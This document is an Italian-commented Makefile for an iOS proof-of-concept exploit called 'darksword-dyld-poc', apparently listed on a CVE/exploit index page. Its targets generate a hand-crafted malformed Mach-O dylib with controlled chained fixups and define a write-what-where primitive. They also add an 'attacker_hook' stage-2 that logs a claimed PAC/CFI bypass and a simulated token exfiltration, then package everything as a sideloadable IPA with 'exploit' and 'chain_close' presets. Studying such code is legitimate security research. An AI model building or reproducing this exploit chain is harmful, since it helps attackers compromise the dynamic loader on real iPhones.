5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Makefile
# ===========================================================================
# darksword-dyld-poc — Makefile
# Riproduce il primitivo dyld page-in linking usato nella catena Darksword.
#
# Struttura sorgenti:
#   src/launcher.c              — launcher (due thread + dispatch chain-close)
#   generators/gen_exports.py   — genera exports.c  (~N simboli vuoti)
#   generators/gen_client.py    — genera client.c   (~N import, stress dyld)
#   generators/gen_malformed_dylib.py — genera libmalformed.dylib (Mach-O custom)
#   tools/scan_pointers.py      — scansione sezioni pointer GOT/non-lazy
#   tools/inspect_fixups.py     — parser LC_DYLD_CHAINED_FIXUPS
#
# Output generati a build time (non committati):
#   exports.c / client.c        — sorgenti C temporanei
#   libexports.dylib            — provider simboli (write_target_value, attacker_hook)
#   libclient.dylib             — dylib con N bind targets (stress gate dyld4)
#   libmalformed.dylib          — Mach-O hand-crafted con chain fixup controllata
#   PoCApp                      — launcher arm64/arm64e
#   PoCApp.ipa                  — bundle pronto per Sideloadly
#
# Preset:
#   make                        build completa (arm64, default)
#   make stress                 arm64e + malformed pagein
#   make exploit                pagein + target offset 0x10
#   make chain_close            exploit + dispatch demo (attacker_hook via evento)
#
# Tunables:
#   SYMBOLS   = numero bind targets libclient  (default 99000)
#   STACK_KB  = stack size thread worker       (default 128)
#   BURN_KB   = KB bruciati prima di dlopen    (default 0 = auto)
#   MARGIN_KB = margine auto-burn              (default 24)
# ===========================================================================

APP_NAME   := PoCApp
BUNDLE_ID  := com.example.poc.dyld.8D4D5BMR8H

SYMBOLS    ?= 99000
STACK_KB   ?= 128
BURN_KB    ?= 0
MARGIN_KB  ?= 24

SDK_PATH   := $(shell xcrun --sdk iphoneos --show-sdk-path)
TARGET     := arm64-apple-ios16.0
CFLAGS     := -isysroot $(SDK_PATH) -target $(TARGET) -O1 -Xlinker -fixup_chains
LDFLAGS    := -isysroot $(SDK_PATH) -target $(TARGET)

PAYLOAD_DIR := Payload
APP_DIR     := $(PAYLOAD_DIR)/$(APP_NAME).app
IPA         := $(APP_NAME).ipa

# ===========================================================================
.PHONY: all clean compile generate verify package resign help
.PHONY: scan stress exploit chain_close

all: clean generate compile verify package
	@echo ""
	@echo "╔══════════════════════════════════════╗"
	@echo "║  Build completata: $(IPA)  ║"
	@echo "╚══════════════════════════════════════╝"
	@echo "Trascina $(IPA) in Sideloadly per installare."

# ---------------------------------------------------------------------------
# 1. Generazione codice C + Mach-O malformato
# ---------------------------------------------------------------------------
generate:
	@echo "[1/4] Generazione sorgenti..."
	@echo "      SYMBOLS=$(SYMBOLS) STACK_KB=$(STACK_KB) BURN_KB=$(BURN_KB)"

	@SYMBOLS=$(SYMBOLS) STACK_KB=$(STACK_KB) \
		python3 generators/gen_exports.py > /dev/null

	@SYMBOLS=$(SYMBOLS) STACK_KB=$(STACK_KB) \
	BURN_KB=$(BURN_KB) MARGIN_KB=$(MARGIN_KB) \
		python3 generators/gen_client.py > /dev/null

	@echo "      Generazione libmalformed.dylib..."
	@ARM64E=$(ARM64E) MALFORM_PAGEIN=$(MALFORM_PAGEIN) \
	MALFORM_TARGET_OFFSET=$(MALFORM_TARGET_OFFSET) \
	CHAIN_CLOSE=$(CHAIN_CLOSE) \
		python3 generators/gen_malformed_dylib.py libmalformed.dylib > /dev/null

	@echo "      Aggiunta simboli sentinella a exports.c..."
	@echo "" >> exports.c
	@echo "/* Simboli sentinella per il primitivo write-what-where */" >> exports.c
	@echo "#include <stdio.h>" >> exports.c
	@echo "#include <os/log.h>" >> exports.c
	@echo 'void write_target_value(void) { fprintf(stderr, "[hook] write_target_value() eseguita\n"); }' >> exports.c
	@echo 'void write_target_value2(void) { fprintf(stderr, "[hook] write_target_value2() eseguita\n"); }' >> exports.c
	@echo 'void attacker_hook(void) { os_log_fault(OS_LOG_DEFAULT, "[DARKSWORD STAGE-2] attacker_hook: in esecuzione via dispatch naturale"); os_log_fault(OS_LOG_DEFAULT, "[DARKSWORD STAGE-2] CFI bypass confermato: dyld ha fornito PAC-valid ptr"); os_log_fault(OS_LOG_DEFAULT, "[DARKSWORD STAGE-2] simulazione esfiltrazione: token=eyJhbGciOiJSUzI1NiJ9.SENSITIVE.sig"); }' >> exports.c

# ---------------------------------------------------------------------------
# 2. Compilazione binari
# ---------------------------------------------------------------------------
compile:
	@echo "[2/4] Compilazione..."

	@echo "      libexports.dylib (provider simboli + attacker_hook)..."
	clang $(CFLAGS) \
		-dynamiclib exports.c \
		-o libexports.dylib \
		-install_name @executable_path/libexports.dylib

	@echo "      libclient.dylib ($(SYMBOLS) bind targets)..."
	clang $(CFLAGS) \
		-dynamiclib client.c \
		-L. -lexports \
		-o libclient.dylib \
		-install_name @executable_path/libclient.dylib

	@echo "      $(APP_NAME) (launcher two-thread + dispatch)..."
	clang $(LDFLAGS) \
		src/launcher.c \
		-framework Foundation \
		-o $(APP_NAME)

# ---------------------------------------------------------------------------
# 3. Verifica strutture Mach-O
# ---------------------------------------------------------------------------
verify:
	@echo "[3/4] Verifica..."

	@echo -n "  → libclient bind targets: " && \
		nm -u libclient.dylib 2>/dev/null | wc -l | tr -d ' '

	@echo -n "  → LC_DYLD_CHAINED_FIXUPS libclient:  " && \
		(otool -l libclient.dylib 2>/dev/null | grep -q "CHAINED" \
		&& echo "OK" || echo "ATTENZIONE: non trovato")

	@echo -n "  → LC_DYLD_CHAINED_FIXUPS libmalformed: " && \
		(otool -l libmalformed.dylib 2>/dev/null | grep -q "CHAINED" \
		&& echo "OK" || echo "ATTENZIONE: non trovato")

	@echo "  → Struttura libmalformed:" && python3 -c "\
import struct; \
d = open('libmalformed.dylib','rb').read(); \
cb = struct.unpack('<Q',d[0x8000:0x8008])[0]; \
wt = struct.unpack('<Q',d[0x8010:0x8018])[0]; \
ca = struct.unpack('<Q',d[0x8018:0x8020])[0]; \
wt2= struct.unpack('<Q',d[0x8020:0x8028])[0]; \
endptr = struct.unpack('<Q',d[0xBFF8:0xC000])[0]; \
bind_bit = (wt >> 63) & 1; \
ordinal  = wt & 0xFFFFFF; \
addend   = (wt >> 24) & 0xFF; \
next_off = (wt >> 51) & 0xFFF; \
print('     canary_before:', '0x{:016X}'.format(cb), 'OK' if cb==0xAAAAAAAAAAAAAAAA else 'ERRORE'); \
print('     encoded_ptr  :', '0x{:016X}'.format(wt), 'bind' if bind_bit else 'rebase'); \
print('       ordinal=', ordinal, 'addend=', addend, 'next=', next_off); \
print('     canary_after :', '0x{:016X}'.format(ca), 'OK' if ca==0xBBBBBBBBBBBBBBBB else 'ERRORE'); \
print('     encoded_ptr2 :', '0x{:016X}'.format(wt2)); \
print('     encoded_end  :', '0x{:016X}'.format(endptr), '(page_end)'); \
import sys; \
def u32(b,o): return int.from_bytes(b[o:o+4],'little'); \
def u16(b,o): return int.from_bytes(b[o:o+2],'little'); \
def u64(b,o): return int.from_bytes(b[o:o+8],'little'); \
off=0; ncmds=u32(d,16); lc_off=32; dataoff=0; \
[ (setattr(sys,'_x',u32(d,lc_off+8)) or None) or None for _ in range(ncmds) if u32(d,lc_off)==0x80000034 ]; \
lc_off=32; \
for i in range(ncmds): \
    cmd=u32(d,lc_off); cmdsize=u32(d,lc_off+4); \
    if cmd==0x80000034: dataoff=u32(d,lc_off+8); datasize=u32(d,lc_off+12); \
    lc_off+=cmdsize; \
h_off=dataoff; starts_off=u32(d,h_off+4); \
si_off=h_off+starts_off; seg_count=u32(d,si_off); \
seg_info_off=u32(d,si_off+4*1); \
seg_starts_off=si_off+seg_info_off; \
page_size=u16(d,seg_starts_off+4); ptr_fmt=u16(d,seg_starts_off+6); \
seg_vm=u64(d,seg_starts_off+8); \
ps0=u16(d,seg_starts_off+22); \
print(f'     pointer_format: 0x{ptr_fmt:X} seg_vm=0x{seg_vm:X} page_start[0]=0x{ps0:X}'); \
DATA_VM=0x8000; loc_vm=seg_vm+ps0; \
in_range=(DATA_VM<=loc_vm<DATA_VM+page_size); \
print(f'     loc(vm): 0x{loc_vm:X}  [IN-RANGE]' if in_range else f'     loc(vm): 0x{loc_vm:X}  [OOB]'); \
"

# ---------------------------------------------------------------------------
# Scansione sezioni pointer (GOT/non-lazy) WRITABLE vs READ-ONLY
# ---------------------------------------------------------------------------
scan:
	@echo "[scan] Pointer sections in Mach-O:"
	@python3 tools/scan_pointers.py PoCApp libexports.dylib libclient.dylib 2>/dev/null || true

# ---------------------------------------------------------------------------
# Ispezione manuale dei chained fixups
# ---------------------------------------------------------------------------
inspect:
	@python3 tools/inspect_fixups.py libmalformed.dylib

# ---------------------------------------------------------------------------
# Preset
# ---------------------------------------------------------------------------
stress: clean
	@$(MAKE) ARM64E=1 MALFORM_PAGEIN=1

exploit: clean
	@$(MAKE) MALFORM_PAGEIN=1 MALFORM_TARGET_OFFSET=0x10

chain_close: clean
	@$(MAKE) MALFORM_PAGEIN=1 MALFORM_TARGET_OFFSET=0x10 CHAIN_CLOSE=1

# ---------------------------------------------------------------------------
# 4. Packaging IPA
# ---------------------------------------------------------------------------
package:
	@echo "[4/4] Packaging IPA..."
	mkdir -p $(APP_DIR)

	cp $(APP_NAME)        $(APP_DIR)/
	cp libexports.dylib   $(APP_DIR)/
	cp libclient.dylib    $(APP_DIR)/
	mkdir -p $(APP_DIR)/Frameworks
	cp libmalformed.dylib $(APP_DIR)/Frameworks/

	@$(MAKE) --no-print-directory _plist
	@$(MAKE) --no-print-directory entitlements.plist

	@echo "      Firma ad-hoc..."
	codesign -s - --force $(APP_DIR)/libexports.dylib
	codesign -s - --force $(APP_DIR)/libclient.dylib
	codesign -s - --force --no-strict $(APP_DIR)/Frameworks/libmalformed.dylib || \
		{ echo "      Avviso: skip firma libmalformed.dylib"; true; }
	codesign -s - --force --entitlements entitlements.plist $(APP_DIR)/$(APP_NAME) \
		2>/dev/null || codesign -s - --force $(APP_DIR)/$(APP_NAME)

	@echo "      Creazione archivio..."
	zip -qr $(IPA) $(PAYLOAD_DIR)
	@echo "      Dimensione IPA: $$(du -sh $(IPA) | cut -f1)"

# ---------------------------------------------------------------------------
# Genera entitlements minimi
# ---------------------------------------------------------------------------
entitlements.plist:
	@printf '%b' '<?xml version="1.0" encoding="UTF-8"?>\n\
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n\
<plist version="1.0">\n\
<dict>\n\
  <key>get-task-allow</key>\n\
  <true/>\n\
</dict>\n\
</plist>\n' > entitlements.plist

# ---------------------------------------------------------------------------
# Info.plist del bundle
# ---------------------------------------------------------------------------
_plist:
	@printf '%b' '<?xml version="1.0" encoding="UTF-8"?>\n\
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n\
<plist version="1.0">\n\
<dict>\n\
  <key>CFBundleExecutable</key>\n\
  <string>$(APP_NAME)</string>\n\
  <key>CFBundleIdentifier</key>\n\
  <string>$(BUNDLE_ID)</string>\n\
  <key>CFBundleInfoDictionaryVersion</key>\n\
  <string>6.0</string>\n\
  <key>CFBundleName</key>\n\
  <string>$(APP_NAME)</string>\n\
  <key>CFBundlePackageType</key>\n\
  <string>APPL</string>\n\
  <key>CFBundleShortVersionString</key>\n\
  <string>1.0</string>\n\
  <key>CFBundleVersion</key>\n\
  <string>1</string>\n\
  <key>LSRequiresIPhoneOS</key>\n\
  <true/>\n\
  <key>UIRequiredDeviceCapabilities</key>\n\
  <array><string>arm64</string></array>\n\
  <key>MinimumOSVersion</key>\n\
  <string>16.0</string>\n\
</dict>\n\
</plist>\n' > $(APP_DIR)/Info.plist

# ---------------------------------------------------------------------------
# Rifirma con identità reale
# Uso: make resign IDENTITY="iPhone Developer: ..." PROFILE=embedded.mobileprovision
# ---------------------------------------------------------------------------
resign:
ifndef IDENTITY
	$(error Usa: make resign IDENTITY="nome certificato" PROFILE=file.mobileprovision)
endif
	cp $(PROFILE) $(APP_DIR)/embedded.mobileprovision
	codesign -s "$(IDENTITY)" --force --entitlements entitlements.plist $(APP_DIR)/libexports.dylib
	codesign -s "$(IDENTITY)" --force --entitlements entitlements.plist $(APP_DIR)/libclient.dylib
	codesign -s "$(IDENTITY)" --force --entitlements entitlements.plist $(APP_DIR)/Frameworks/libmalformed.dylib
	codesign -s "$(IDENTITY)" --force --entitlements entitlements.plist $(APP_DIR)/$(APP_NAME)
	rm -f $(IPA) && zip -qr $(IPA) $(PAYLOAD_DIR)
	@echo "[resign] Fatto: $(IPA)"

# ---------------------------------------------------------------------------
# Pulizia (solo output generati, non i sorgenti in src/ generators/ tools/)
# ---------------------------------------------------------------------------
clean:
	rm -rf \
		client.c exports.c \
		libexports.dylib libclient.dylib libmalformed.dylib \
		$(APP_NAME) \
		$(PAYLOAD_DIR) $(IPA) \
		entitlements.plist

# ---------------------------------------------------------------------------
help:
	@echo "Targets:"
	@echo "  make                   Build completa (clean→generate→compile→verify→package)"
	@echo "  make chain_close       Demo Darksword: dispatch naturale via dyld PAC pointer"
	@echo "  make exploit           Pagein + target offset 0x10 (stable)"
	@echo "  make stress            Stress mode arm64e + malformed pagein"
	@echo "  make scan              Scansione sezioni pointer GOT nei binari compilati"
	@echo "  make inspect           Parser LC_DYLD_CHAINED_FIXUPS di libmalformed.dylib"
	@echo "  make SYMBOLS=50000     Build più veloce (meno bind targets)"
	@echo "  make STACK_KB=64       Stack thread più piccolo"
	@echo "  make resign IDENTITY=... PROFILE=...  Rifirma con certificato reale"
	@echo "  make clean             Rimuove output generati"